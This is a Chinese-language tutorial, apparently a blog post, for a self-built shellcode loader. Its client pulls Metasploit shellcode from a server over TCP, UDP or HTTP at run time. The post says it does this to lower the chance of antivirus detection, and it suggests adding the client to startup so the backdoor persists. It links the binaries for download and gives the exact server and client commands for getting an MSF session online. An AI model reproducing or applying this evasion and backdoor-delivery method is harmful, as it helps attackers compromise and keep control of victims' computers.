通过开发一组远程代码执行盒,可以动态实现对ShellCode代码的动态载入,由于ShellCode不存放在本地客户端常量区,所以在一定程度上可以减少被杀概率,客户端只保留之基本的Socket通信功能,当需要时才会加载恶意代码运行。
此工具分为服务端与客户端,客户端可以将其加入到开机自启动列表,并传入响应的参数即可,目前支持TCP/UDP/HTTP三种协议传输,后期可能会增加ICMP等来实现后门的传输工作。
服务端客户端下载地址
Server 服务端: https://share.weiyun.com/gvNrdECD
Client 客户端: https://share.weiyun.com/FsQ0Orcs
使用 TCP/UDP 隧道上线
1.首先MFS工具生成ShellCode代码,代码无需压缩,直接保存为一下格式即可。
2.服务端执行命令,指定侦听端口,以及需要传输的shellcode反弹后门路径。
Server.exe RunServer --type tcp --listen 9999 --shellcode d://shellcode.txt
当服务器启动后,会默认在本机,侦听9999端口,等待客户端获取数据包。
2.启动我们的MSF控制台,并设置为侦听状态。
3.此时客户端执行,获取命令即可。
Client.exe RunClient --type tcp --address 127.0.0.1 --port 9999
4.回到我们的MSF控制台,就可以看到客户端已经上线了。
服务端与客户端此时状态如下,服务端发送数据后会显示客户端的IP地址来源。
MSF控制台则直接可以上线。
使用 HTTP 隧道上线
HTTP上线稍微复杂一些。
1.首先你需要手动将shellcode压缩为一行,并命名为shellcode.raw文件,压缩方式有多种,你可以使用我开发的shellcode注入器中的format函数完成。
2.当放入同级目录后,直接启动HTTP服务。
Server.exe RunServer --type http --listen 9999
3.此时我们可以通过浏览器,访问一下看看是否启动成功了。
4.客户端执行,获取命令即可。如下。
Client.exe RunClient --type http --address http://127.0.0.1:9999/shellcode.raw --port 9999
5.回到MSF中,可以看到已经成功上线了。